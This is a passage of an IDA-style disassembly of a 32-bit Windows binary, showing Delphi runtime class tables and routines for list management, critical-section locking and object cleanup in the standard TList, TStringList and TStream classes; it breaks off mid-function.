		dd offset sub_200034E4
dword_2000F5F8	dd 74534510h, 676E6972h, 7473694Ch, 6F727245h, 408D72h
					; DATA XREF: CODE:off_2000F5ACo
					; CODE:2000F5CCo
off_2000F60C	dd offset off_2000F658	; DATA XREF: sub_2000FBF0+25r
					; sub_2000FBF0+43r ...
		dd 7 dup(0)
		dd offset dword_2000F668
		dd 10h
		dd offset off_2000100C
		dd offset sub_20003700
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_20003714
		dd offset nullsub_3
		dd offset sub_2000348C
		dd offset sub_200034A8
		dd offset sub_2000FEF4
off_2000F658	dd offset loc_20010078	; DATA XREF: CODE:off_2000F60Co
		dd offset nullsub_4
		dd offset sub_2000FF48
		dd offset sub_2000FFC4
dword_2000F668	dd 694C5405h, 0C08B7473h ; DATA	XREF: CODE:2000F62Co
off_2000F670	dd offset dword_2000F6BC ; DATA	XREF: CODE:2001270Br
					; CODE:2001271Cr
		dd 7 dup(0)
		dd offset dword_2000F6BC
		dd 24h
		dd offset off_2000100C
		dd offset sub_20003700
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_20003714
		dd offset nullsub_3
		dd offset sub_2000348C
		dd offset sub_200034A8
		dd offset sub_200101B0
dword_2000F6BC	dd 6854540Bh, 64616572h, 7473694Ch ; DATA XREF:	CODE:off_2000F670o
					; CODE:2000F690o
off_2000F6C8	dd offset off_2000F714	; DATA XREF: CODE:2000F7C4o
					; sub_2000FD70+34r
		dd 3 dup(0)
		dd offset dword_2000F740
		dd 2 dup(0)
		dd offset dword_2000F720
		dd offset word_2000F72E
		dd 4
		dd offset off_2000100C
		dd offset sub_20003700
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_20003714
		dd offset nullsub_3
		dd offset sub_2000348C
		dd offset sub_200034A8
		dd offset sub_2001024C
off_2000F714	dd offset loc_2001035C	; DATA XREF: CODE:off_2000F6C8o
					; CODE:2000F74Do
		dd offset nullsub_5
		dd offset sub_20010278
dword_2000F720	dd 0FFFF0002h		; DATA XREF: CODE:2000F6E4o
		db 0FEh, 0FFh
		dd offset loc_20010418
		dd offset sub_20010368
word_2000F72E	dw 540Bh		; DATA XREF: CODE:2000F6E8o
		dd 73726550h, 65747369h, 0C08B746Eh
off_2000F73C	dd offset dword_2000F740 ; DATA	XREF: CODE:2000F896o
dword_2000F740	dd 50540B07h, 69737265h, 6E657473h ; DATA XREF:	CODE:2000F6D8o
					; CODE:off_2000F73Co
		db 74h
		dd offset off_2000F714
		dd offset off_20001060
		db 2 dup(0), 7
aClasses	db 'Classes',0
		dd 408D00h
off_2000F764	dd offset dword_2000F768 ; DATA	XREF: CODE:2000F872o
dword_2000F768	dd 53490F0Fh, 6E697274h, 64417367h, 65747061h
					; DATA XREF: CODE:off_2000F764o
		db 72h
		dd offset off_20001080
		db 1, 34h, 2Fh
		dd 52EC739Ch, 0A69E11D0h, 3DAF2000h, 4307DA82h,	7373616Ch
		dd 27365h, 0C08BFFFFh
off_2000F79C	dd offset off_2000F7E8	; DATA XREF: CODE:2000F8F4o
					; sub_2001054C+Dr ...
		dd 2 dup(0)
		dd offset dword_2000F868
		dd offset dword_2000F888
		dd 3 dup(0)
		dd offset word_2000F87A
		dd 10h
		dd offset off_2000F6C8
		dd offset sub_20003700
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_20003714
		dd offset nullsub_3
		dd offset sub_2000348C
		dd offset sub_200034A8
		dd offset sub_2001041C
off_2000F7E8	dd offset loc_2001035C	; DATA XREF: CODE:off_2000F79Co
					; CODE:2000F892o
		dd offset sub_20010654
		dd offset sub_2001054C
		dd offset sub_20002988
		dd offset sub_200108D8
		dd offset sub_20002988
		dd offset sub_200108E0
		dd offset sub_20010938
		dd offset sub_20010DD4
		dd offset nullsub_6
		dd offset nullsub_7
		dd offset sub_20010FF8
		dd offset nullsub_8
		dd offset sub_20011140
		dd offset sub_2001044C
		dd offset sub_20010470
		dd offset sub_20010494
		dd offset sub_20002988
		dd offset sub_20002988
		dd offset sub_200107F0
		dd offset sub_200108E4
		dd offset sub_20010A60
		dd offset sub_20010AEC
		dd offset sub_20010BC0
		dd offset sub_20002988
		dd offset sub_20010BF4
		dd offset sub_20010C24
		dd offset sub_20010C78
		dd offset sub_20010D24
		dd offset sub_20010EBC
		dd offset sub_20010F14
		dd offset sub_20010FA8
dword_2000F868	dd 0Eh,	10000h		; DATA XREF: CODE:2000F7A8o
		db 2 dup(0)
		dd offset off_2000F764
		dw 0Ch
		db 2 dup(0)
word_2000F87A	dw 5408h		; DATA XREF: CODE:2000F7BCo
		dd 69727453h, 9073676Eh
off_2000F884	dd offset dword_2000F888 ; DATA	XREF: CODE:2000F9D1o
dword_2000F888	dd 53540807h, 6E697274h	; DATA XREF: CODE:2000F7ACo
					; CODE:off_2000F884o
		db 67h,	73h
		dd offset off_2000F7E8
		dd offset off_2000F73C
		align 4
		dd 616C4307h, 73657373h, 0C08B0000h
off_2000F8A8	dd offset dword_2000F8AC ; DATA	XREF: sub_20011180+33r
					; sub_20011284+19r ...
dword_2000F8AC	dd 53540B0Eh, 6E697274h, 65744967h, 86Dh, 100h
					; DATA XREF: CODE:off_2000F8A8o
		db 0
		dd offset off_20001000
		align 4
		dd 408D00h
off_2000F8CC	dd offset off_2000F918	; DATA XREF: sub_2000FBF0+34r
		dd 3 dup(0)
		dd offset dword_2000F9C0
		dd 3 dup(0)
		dd offset dword_2000F9B0
		dd 30h
		dd offset off_2000F79C
		dd offset sub_20003700
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_20003714
		dd offset nullsub_3
		dd offset sub_2000348C
		dd offset sub_200034A8
		dd offset sub_20011180
off_2000F918	dd offset loc_2001035C	; DATA XREF: CODE:off_2000F8CCo
					; CODE:2000F9CDo
		dd offset sub_20010654
		dd offset sub_2001054C
		dd offset sub_20011428
		dd offset sub_2001145C
		dd offset sub_20011460
		dd offset sub_20011464
		dd offset sub_20010938
		dd offset sub_200115D8
		dd offset sub_20011634
		dd offset sub_20011708
		dd offset sub_20010FF8
		dd offset sub_20011724
		dd offset sub_20011798
		dd offset sub_200111DC
		dd offset sub_200111E8
		dd offset sub_20010494
		dd offset sub_20011284
		dd offset sub_200112C4
		dd offset sub_20011330
		dd offset sub_200108E4
		dd offset sub_200114C0
		dd offset sub_20010AEC
		dd offset sub_20010BC0
		dd offset sub_200114FC
		dd offset sub_2001150C
		dd offset sub_20010C24
		dd offset sub_20010C78
		dd offset sub_20010D24
		dd offset sub_20010EBC
		dd offset sub_20010F14
		dd offset sub_20010FA8
		dd offset sub_2001124C
		dd offset sub_20011268
		dd offset sub_20011560
		dd offset sub_200113B0
		dd offset sub_20011750
		dd offset sub_20011760
dword_2000F9B0	dd 7453540Bh, 676E6972h, 7473694Ch ; DATA XREF:	CODE:2000F8ECo
		dd offset dword_2000F9C0
dword_2000F9C0	dd 53540B07h, 6E697274h, 73694C67h ; DATA XREF:	CODE:2000F8DCo
					; CODE:2000F9BCo
		db 74h
		dd offset off_2000F918
		dd offset off_2000F884
		db 2 dup(0), 7
aClasses_0	db 'Classes',0
		dd 408D00h
off_2000F9E4	dd offset off_2000FA30	; DATA XREF: CODE:2000FA7Co
					; sub_200118C4+3Er
		dd 7 dup(0)
		dd offset dword_2000FA4C
		dd 4
		dd offset off_2000100C
		dd offset sub_20003700
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_20003714
		dd offset nullsub_3
		dd offset sub_2000348C
		dd offset sub_200034A8
		dd offset sub_200034E4
off_2000FA30	dd offset sub_200117D4	; DATA XREF: CODE:off_2000F9E4o
		dd offset nullsub_9
		dd offset sub_20011824
		dd offset sub_20002988
		dd offset sub_20002988
		dd offset sub_200118C4
		dd offset sub_20011948
dword_2000FA4C	dd 74535407h, 6D616572h	; DATA XREF: CODE:2000FA04o
off_2000FA54	dd offset off_2000FAA0	; DATA XREF: CODE:2000FAF4o
		dd 7 dup(0)
		dd offset dword_2000FABC
		dd 8
		dd offset off_2000F9E4
		dd offset sub_20003700
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_20003714
		dd offset nullsub_3
		dd offset sub_2000348C
		dd offset sub_200034A8
		dd offset sub_200034E4
off_2000FAA0	dd offset sub_200117D4	; DATA XREF: CODE:off_2000FA54o
		dd offset sub_20011A78
		dd offset sub_20011A8C
		dd offset sub_20011A2C
		dd offset sub_20011A3C
		dd offset sub_200118C4
		dd offset sub_20011A4C
dword_2000FABC	dd 6148540Dh, 656C646Eh, 65727453h, 0C08B6D61h ; DATA XREF: CODE:2000FA74o
off_2000FACC	dd offset off_2000FB18	; DATA XREF: sub_20010C24+Br
					; sub_20010EBC+Er
		dd 7 dup(0)
		dd offset dword_2000FB34
		dd 8
		dd offset off_2000FA54
		dd offset sub_20003700
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_20003714
		dd offset nullsub_3
		dd offset sub_2000348C
		dd offset sub_200034A8
		dd offset sub_20011C4C
off_2000FB18	dd offset sub_200117D4	; DATA XREF: CODE:off_2000FACCo
		dd offset sub_20011A78
		dd offset sub_20011A8C
		dd offset sub_20011A2C
		dd offset sub_20011A3C
		dd offset sub_200118C4
		dd offset sub_20011A4C
dword_2000FB34	dd 6946540Bh, 7453656Ch, 6D616572h ; DATA XREF:	CODE:2000FAECo
off_2000FB40	dd offset dword_2000FB8C ; DATA	XREF: sub_2000FD70+3Cr
		dd 7 dup(0)
		dd offset dword_2000FB8C
		dd 14h
		dd offset off_2000100C
		dd offset sub_20003700
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_20003714
		dd offset nullsub_3
		dd offset sub_2000348C
		dd offset sub_200034A8
		dd offset sub_2000FC6C
dword_2000FB8C	dd 65525409h, 6F724767h, 0C08B7075h ; DATA XREF: CODE:off_2000FB40o
					; CODE:2000FB60o
off_2000FB98	dd offset dword_2000FBE4 ; DATA	XREF: CODE:200126FAr
		dd 7 dup(0)
		dd offset dword_2000FBE4
		dd 24h
		dd offset off_2000100C
		dd offset sub_20003700
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_20003714
		dd offset nullsub_3
		dd offset sub_2000348C
		dd offset sub_200034A8
		dd offset sub_2000FDE4
dword_2000FBE4	dd 6552540Ah, 6F724767h, 90737075h ; DATA XREF:	CODE:off_2000FB98o
					; CODE:2000FBB8o

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000FBF0	proc near		; CODE XREF: sub_2000FD70+41p

var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		test	dl, dl
		jz	short loc_2000FC03
		add	esp, 0FFFFFFF0h
		call	sub_2000373C


loc_2000FC03:				; CODE XREF: sub_2000FBF0+9j
		mov	edi, ecx
		mov	[ebp+var_1], dl
		mov	ebx, eax
		xor	edx, edx
		mov	eax, ebx
		call	sub_200034C4
		mov	dl, 1
		mov	eax, off_2000F60C
		call	sub_200034C4
		mov	[ebx+4], eax
		mov	dl, 1
		mov	eax, off_2000F8CC
		call	sub_200034C4
		mov	[ebx+8], eax
		mov	dl, 1
		mov	eax, off_2000F60C
		call	sub_200034C4
		mov	esi, eax
		mov	[ebx+0Ch], esi
		mov	eax, esi
		mov	edx, edi
		call	sub_2000FF14
		mov	eax, ebx
		cmp	[ebp+var_1], 0
		jz	short loc_2000FC62
		call	sub_20003794
		pop	large dword ptr	fs:0
		add	esp, 0Ch


loc_2000FC62:				; CODE XREF: sub_2000FBF0+61j
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_2000FBF0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2000FC6C	proc near		; DATA XREF: CODE:2000FB88o
		push	ebx
		push	esi
		call	sub_200037A4
		mov	ebx, edx
		mov	esi, eax
		mov	edx, ebx
		and	dl, 0FCh
		mov	eax, esi
		call	sub_200034E4
		mov	eax, [esi+4]
		call	sub_200034F4
		mov	eax, [esi+8]
		call	sub_200034F4
		mov	eax, [esi+0Ch]
		call	sub_200034F4
		test	bl, bl
		jle	short loc_2000FCA6
		mov	eax, esi
		call	sub_2000378C


loc_2000FCA6:				; CODE XREF: sub_2000FC6C+31j
		pop	esi
		pop	ebx
		retn
sub_2000FC6C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2000FCAC	proc near		; CODE XREF: sub_2000FCCC+1Fp
					; sub_2000FCCC+50p ...
		push	ebx
		push	esi
		mov	ebx, edx
		mov	esi, eax
		test	ebx, ebx
		jz	short loc_2000FCC6
		mov	eax, esi
		call	sub_20004EB4
		cmp	ebx, eax
		jz	short loc_2000FCC6
		xor	eax, eax
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_2000FCC6:				; CODE XREF: sub_2000FCAC+8j
					; sub_2000FCAC+13j
		mov	al, 1
		pop	esi
		pop	ebx
		retn
sub_2000FCAC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2000FCCC	proc near		; CODE XREF: sub_2000FE58+24p
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		mov	esi, eax
		mov	eax, [esi+0Ch]
		mov	ebx, [eax+8]
		dec	ebx
		cmp	ebx, 0
		jl	short loc_2000FD04


loc_2000FCDF:				; CODE XREF: sub_2000FCCC+36j
		mov	edx, ebx
		mov	eax, [esi+0Ch]
		call	sub_20010050
		mov	edx, edi
		call	sub_2000FCAC
		test	al, al
		jz	short loc_2000FCFE
		mov	edx, ebx
		mov	eax, [esi+0Ch]
		call	sub_2000FF60


loc_2000FCFE:				; CODE XREF: sub_2000FCCC+26j
		dec	ebx
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_2000FCDF


loc_2000FD04:				; CODE XREF: sub_2000FCCC+11j
		mov	eax, [esi+4]
		mov	ebx, [eax+8]
		dec	ebx
		cmp	ebx, 0
		jl	short loc_2000FD35


loc_2000FD10:				; CODE XREF: sub_2000FCCC+67j
		mov	edx, ebx
		mov	eax, [esi+4]
		call	sub_20010050
		mov	edx, edi
		call	sub_2000FCAC
		test	al, al
		jz	short loc_2000FD2F
		mov	edx, ebx
		mov	eax, [esi+4]
		call	sub_2000FF60


loc_2000FD2F:				; CODE XREF: sub_2000FCCC+57j
		dec	ebx
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_2000FD10


loc_2000FD35:				; CODE XREF: sub_2000FCCC+42j
		mov	eax, [esi+8]
		mov	edx, [eax]
		call	dword ptr [edx+14h]
		mov	ebx, eax
		dec	ebx
		cmp	ebx, 0
		jl	short loc_2000FD6A


loc_2000FD45:				; CODE XREF: sub_2000FCCC+9Cj
		mov	edx, ebx
		mov	eax, [esi+8]
		mov	ecx, [eax]
		call	dword ptr [ecx+18h]
		mov	edx, edi
		call	sub_2000FCAC
		test	al, al
		jz	short loc_2000FD64
		mov	edx, ebx
		mov	eax, [esi+8]
		mov	ecx, [eax]
		call	dword ptr [ecx+48h]


loc_2000FD64:				; CODE XREF: sub_2000FCCC+8Cj
		dec	ebx
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_2000FD45


loc_2000FD6A:				; CODE XREF: sub_2000FCCC+77j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_2000FCCC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_2000FD70	proc near		; CODE XREF: CODE:200126FFp
		push	ebx
		push	esi
		push	edi
		test	dl, dl
		jz	short loc_2000FD7F
		add	esp, 0FFFFFFF0h
		call	sub_2000373C


loc_2000FD7F:				; CODE XREF: sub_2000FD70+5j
		mov	ebx, edx
		mov	edi, eax
		xor	edx, edx
		mov	eax, edi
		call	sub_200034C4
		mov	dl, 1
		mov	eax, off_2000F60C
		call	sub_200034C4
		mov	[edi+4], eax
		lea	eax, [edi+8]
		push	eax		; lpCriticalSection
		call	InitializeCriticalSection_0
		mov	ecx, off_2000F6C8
		mov	dl, 1
		mov	eax, off_2000FB40
		call	sub_2000FBF0
		mov	esi, eax
		mov	eax, [edi+4]
		mov	edx, esi
		call	sub_2000FF14
		mov	byte ptr [esi+10h], 1
		mov	eax, edi
		test	bl, bl
		jz	short loc_2000FDDB
		call	sub_20003794
		pop	large dword ptr	fs:0
		add	esp, 0Ch


loc_2000FDDB:				; CODE XREF: sub_2000FD70+5Aj
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_2000FD70	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2000FDE4	proc near		; DATA XREF: CODE:2000FBE0o
		push	ebx
		push	esi
		push	edi
		push	ebp
		call	sub_200037A4
		mov	ebx, edx
		mov	esi, eax
		lea	eax, [esi+8]
		push	eax		; lpCriticalSection
		call	DeleteCriticalSection_0
		mov	eax, [esi+4]
		mov	ebp, [eax+8]
		dec	ebp
		test	ebp, ebp
		jl	short loc_2000FE1B
		inc	ebp
		xor	edi, edi


loc_2000FE08:				; CODE XREF: sub_2000FDE4+35j
		mov	eax, [esi+4]
		mov	edx, edi
		call	sub_20010050
		call	sub_200034F4
		inc	edi
		dec	ebp
		jnz	short loc_2000FE08


loc_2000FE1B:				; CODE XREF: sub_2000FDE4+1Fj
		mov	eax, [esi+4]
		call	sub_200034F4
		mov	edx, ebx
		and	dl, 0FCh
		mov	eax, esi
		call	sub_200034E4
		test	bl, bl
		jle	short loc_2000FE3A
		mov	eax, esi
		call	sub_2000378C


loc_2000FE3A:				; CODE XREF: sub_2000FDE4+4Dj
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_2000FDE4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_2000FE40	proc near		; CODE XREF: sub_2000FEA8+Bp
		add	eax, 8
		push	eax		; lpCriticalSection
		call	EnterCriticalSection_0
		retn
sub_2000FE40	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2000FE4C	proc near		; CODE XREF: sub_2000FEA8+3Cp
		add	eax, 8
		push	eax		; lpCriticalSection
		call	LeaveCriticalSection_0
		retn
sub_2000FE4C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2000FE58	proc near		; CODE XREF: sub_2000FEA8+25p
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebp, edx
		mov	edi, eax
		mov	eax, [edi+4]
		mov	ebx, [eax+8]
		dec	ebx
		cmp	ebx, 0
		jl	short loc_2000FEA1


loc_2000FE6C:				; CODE XREF: sub_2000FE58+47j
		mov	eax, [edi+4]
		mov	edx, ebx
		call	sub_20010050
		mov	esi, eax
		mov	edx, ebp
		mov	eax, esi
		call	sub_2000FCCC
		mov	eax, [esi+0Ch]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_2000FE9B
		mov	eax, esi
		call	sub_200034F4
		mov	eax, [edi+4]
		mov	edx, ebx
		call	sub_2000FF60


loc_2000FE9B:				; CODE XREF: sub_2000FE58+30j
		dec	ebx
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_2000FE6C


loc_2000FEA1:				; CODE XREF: sub_2000FE58+12j
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_2000FE58	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000FEA8	proc near		; CODE XREF: CODE:loc_200125F8p
					; CODE:2001261Ep
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, eax
		mov	eax, ds:dword_2001586C
		call	sub_2000FE40
		xor	eax, eax
		push	ebp
		push	offset loc_2000FEEA
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	edx, ebx
		mov	eax, ds:dword_2001586C
		call	sub_2000FE58
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_2000FEF1


loc_2000FEDF:				; CODE XREF: sub_2000FEA8+47j
		mov	eax, ds:dword_2001586C
		call	sub_2000FE4C
		retn
; ---------------------------------------------------------------------------


loc_2000FEEA:				; DATA XREF: sub_2000FEA8+13o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_2000FEDF
; ---------------------------------------------------------------------------


loc_2000FEF1:				; CODE XREF: sub_2000FEA8+41j
					; DATA XREF: sub_2000FEA8+32o
		pop	ebx
		pop	ebp
		retn
sub_2000FEA8	endp


; =============== S U B	R O U T	I N E =======================================



sub_2000FEF4	proc near		; DATA XREF: CODE:2000F654o
		push	ebx
		push	esi
		call	sub_200037A4
		mov	ebx, edx
		mov	esi, eax
		mov	eax, esi
		mov	edx, [eax]
		call	dword ptr [edx+8]
		test	bl, bl
		jle	short loc_2000FF11
		mov	eax, esi
		call	sub_2000378C


loc_2000FF11:				; CODE XREF: sub_2000FEF4+14j
		pop	esi
		pop	ebx
		retn
sub_2000FEF4	endp


; =============== S U B	R O U T	I N E =======================================



sub_2000FF14	proc near		; CODE XREF: sub_2000FBF0+56p
					; sub_2000FD70+4Dp
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		mov	ebx, eax
		mov	esi, [ebx+8]
		cmp	esi, [ebx+0Ch]
		jnz	short loc_2000FF29
		mov	eax, ebx
		mov	edx, [eax]
		call	dword ptr [edx]


loc_2000FF29:				; CODE XREF: sub_2000FF14+Dj
		mov	eax, [ebx+4]
		mov	[eax+esi*4], edi
		inc	dword ptr [ebx+8]
		test	edi, edi
		jz	short loc_2000FF41
		xor	ecx, ecx
		mov	edx, edi
		mov	eax, ebx
		mov	ebx, [eax]
		call	dword ptr [ebx+4]


loc_2000FF41:				; CODE XREF: sub_2000FF14+20j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_2000FF14	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2000FF48	proc near		; DATA XREF: CODE:2000F660o
		push	ebx
		mov	ebx, eax
		xor	edx, edx
		mov	eax, ebx
		call	sub_200100E8
		xor	edx, edx
		mov	eax, ebx
		call	sub_200100AC
		pop	ebx
		retn
sub_2000FF48	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_2000FF60	proc near		; CODE XREF: sub_2000FCCC+2Dp
					; sub_2000FCCC+5Ep ...
		push	ebx
		push	esi
		push	edi
		mov	esi, edx
		mov	ebx, eax
		test	esi, esi
		jl	short loc_2000FF70
		cmp	esi, [ebx+8]
		jl	short loc_2000FF7F


loc_2000FF70:				; CODE XREF: sub_2000FF60+9j
		mov	edx, ds:off_20014538
		mov	ecx, esi
		mov	eax, [ebx]
		call	sub_2000FFFC


loc_2000FF7F:				; CODE XREF: sub_2000FF60+Ej
		mov	edx, esi
		mov	eax, ebx
		call	sub_20010050
		mov	edi, eax
		dec	dword ptr [ebx+8]
		mov	eax, [ebx+8]
		cmp	esi, eax
		jge	short loc_2000FFAD
		sub	eax, esi
		mov	ecx, eax
		shl	ecx, 2
		mov	eax, [ebx+4]
		lea	edx, [eax+esi*4]
		mov	eax, [ebx+4]
		lea	eax, [eax+esi*4+4]
		call	sub_200027FC


loc_2000FFAD:				; CODE XREF: sub_2000FF60+32j
		test	edi, edi
		jz	short loc_2000FFBC
		mov	cl, 2
		mov	edx, edi
		mov	eax, ebx
		mov	ebx, [eax]
		call	dword ptr [ebx+4]


loc_2000FFBC:				; CODE XREF: sub_2000FF60+4Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_2000FF60	endp


; =============== S U B	R O U T	I N E =======================================



sub_2000FFC0	proc near		; CODE XREF: sub_2000FFC4+9p
		mov	eax, [ebp+4]
		retn
sub_2000FFC0	endp


; =============== S U B	R O U T	I N E =======================================



sub_2000FFC4	proc near		; CODE XREF: sub_2000FFFC+2Dp
					; DATA XREF: CODE:2000F664o

var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch

		push	ebx
		push	esi
		add	esp, 0FFFFFFF8h
		mov	esi, ecx
		mov	ebx, edx
		call	sub_2000FFC0
		push	eax
		mov	[esp+14h+var_10], esi
		mov	[esp+14h+var_C], 0
		lea	eax, [esp+14h+var_10]
		push	eax
		push	0
		mov	ecx, ebx
		mov	dl, 1
		mov	eax, off_2000F554
		call	sub_2000A520
		jmp	sub_20003A08
sub_2000FFC4	endp

; ---------------------------------------------------------------------------
		pop	ecx
		pop	edx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000FFFC	proc near		; CODE XREF: sub_2000FF60+1Ap
					; sub_20010050+19p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		push	esi
		mov	esi, ecx
		mov	ebx, edx
		xor	eax, eax
		push	ebp
		push	offset loc_20010044
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	edx, [ebp+var_4]
		mov	eax, ebx
		call	sub_20005994
		mov	edx, [ebp+var_4]
		mov	ecx, esi
		mov	eax, off_2000F60C
		call	sub_2000FFC4
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_2001004B


loc_2001003B:				; CODE XREF: sub_2000FFFC+4Dj
		lea	eax, [ebp+var_4]
		call	sub_20003FA8
		retn
; ---------------------------------------------------------------------------


loc_20010044:				; DATA XREF: sub_2000FFFC+Eo
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_2001003B
; ---------------------------------------------------------------------------


loc_2001004B:				; CODE XREF: sub_2000FFFC+47j
					; DATA XREF: sub_2000FFFC+3Ao
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_2000FFFC	endp


; =============== S U B	R O U T	I N E =======================================



sub_20010050	proc near		; CODE XREF: sub_2000FCCC+18p
					; sub_2000FCCC+49p ...
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		test	esi, esi
		jl	short loc_2001005F
		cmp	esi, [ebx+8]
		jl	short loc_2001006E


loc_2001005F:				; CODE XREF: sub_20010050+8j
		mov	edx, ds:off_20014538
		mov	ecx, esi
		mov	eax, [ebx]
		call	sub_2000FFFC


loc_2001006E:				; CODE XREF: sub_20010050+Dj
		mov	eax, [ebx+4]
		mov	eax, [eax+esi*4]
		pop	esi
		pop	ebx
		retn
sub_20010050	endp

; ---------------------------------------------------------------------------
		align 4


loc_20010078:				; DATA XREF: CODE:off_2000F658o
		mov	edx, [eax+0Ch]
		cmp	edx, 40h
		jle	short loc_2001008E
		mov	ecx, edx
		test	ecx, ecx
		jns	short loc_20010089
		add	ecx, 3


loc_20010089:				; CODE XREF: CODE:20010084j
		sar	ecx, 2
		jmp	short loc_2001009F
; ---------------------------------------------------------------------------


loc_2001008E:				; CODE XREF: CODE:2001007Ej
		cmp	edx, 8
		jle	short loc_2001009A
		mov	ecx, 10h
		jmp	short loc_2001009F
; ---------------------------------------------------------------------------


loc_2001009A:				; CODE XREF: CODE:20010091j
		mov	ecx, 4


loc_2001009F:				; CODE XREF: CODE:2001008Cj
					; CODE:20010098j
		add	ecx, edx
		mov	edx, ecx
		call	sub_200100AC
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_200100AC	proc near		; CODE XREF: sub_2000FF48+10p
					; CODE:200100A3p ...
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		cmp	esi, [ebx+8]
		jl	short loc_200100BF
		cmp	esi, 7FFFFFFh
		jle	short loc_200100CE


loc_200100BF:				; CODE XREF: sub_200100AC+9j
		mov	edx, ds:off_200144CC
		mov	ecx, esi
		mov	eax, [ebx]
		call	sub_2000FFFC


loc_200100CE:				; CODE XREF: sub_200100AC+11j
		cmp	esi, [ebx+0Ch]
		jz	short loc_200100E3
		mov	edx, esi
		shl	edx, 2
		lea	eax, [ebx+4]
		call	sub_200026A8
		mov	[ebx+0Ch], esi


loc_200100E3:				; CODE XREF: sub_200100AC+25j
		pop	esi
		pop	ebx
		retn
sub_200100AC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_200100E8	proc near		; CODE XREF: sub_2000FF48+7p
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	esi, edx
		mov	ebx, eax
		test	esi, esi
		jl	short loc_200100FC
		cmp	esi, 7FFFFFFh
		jle	short loc_2001010B


loc_200100FC:				; CODE XREF: sub_200100E8+Aj
		mov	edx, ds:off_20014494
		mov	ecx, esi
		mov	eax, [ebx]
		call	sub_2000FFFC


loc_2001010B:				; CODE XREF: sub_200100E8+12j
		cmp	esi, [ebx+0Ch]
		jle	short loc_20010119
		mov	edx, esi
		mov	eax, ebx
		call	sub_200100AC


loc_20010119:				; CODE XREF: sub_200100E8+26j
		mov	eax, [ebx+8]
		cmp	esi, eax
		jle	short loc_20010139
		mov	edx, [ebx+4]
		lea	edx, [edx+eax*4]
		mov	ecx, esi
		sub	ecx, eax
		mov	eax, ecx
		shl	eax, 2
		xor	ecx, ecx
		xchg	eax, edx
		call	sub_20002E38
		jmp	short loc_20010150
; ---------------------------------------------------------------------------


loc_20010139:				; CODE XREF: sub_200100E8+36j
		mov	ebp, eax
		dec	ebp
		mov	edi, esi
		sub	edi, ebp
		jg	short loc_20010150
		dec	edi


loc_20010143:				; CODE XREF: sub_200100E8+66j
		mov	edx, ebp
		mov	eax, ebx
		call	sub_2000FF60
		dec	ebp
		inc	edi
		jnz	short loc_20010143


loc_20010150:				; CODE XREF: sub_200100E8+4Fj
					; sub_200100E8+58j
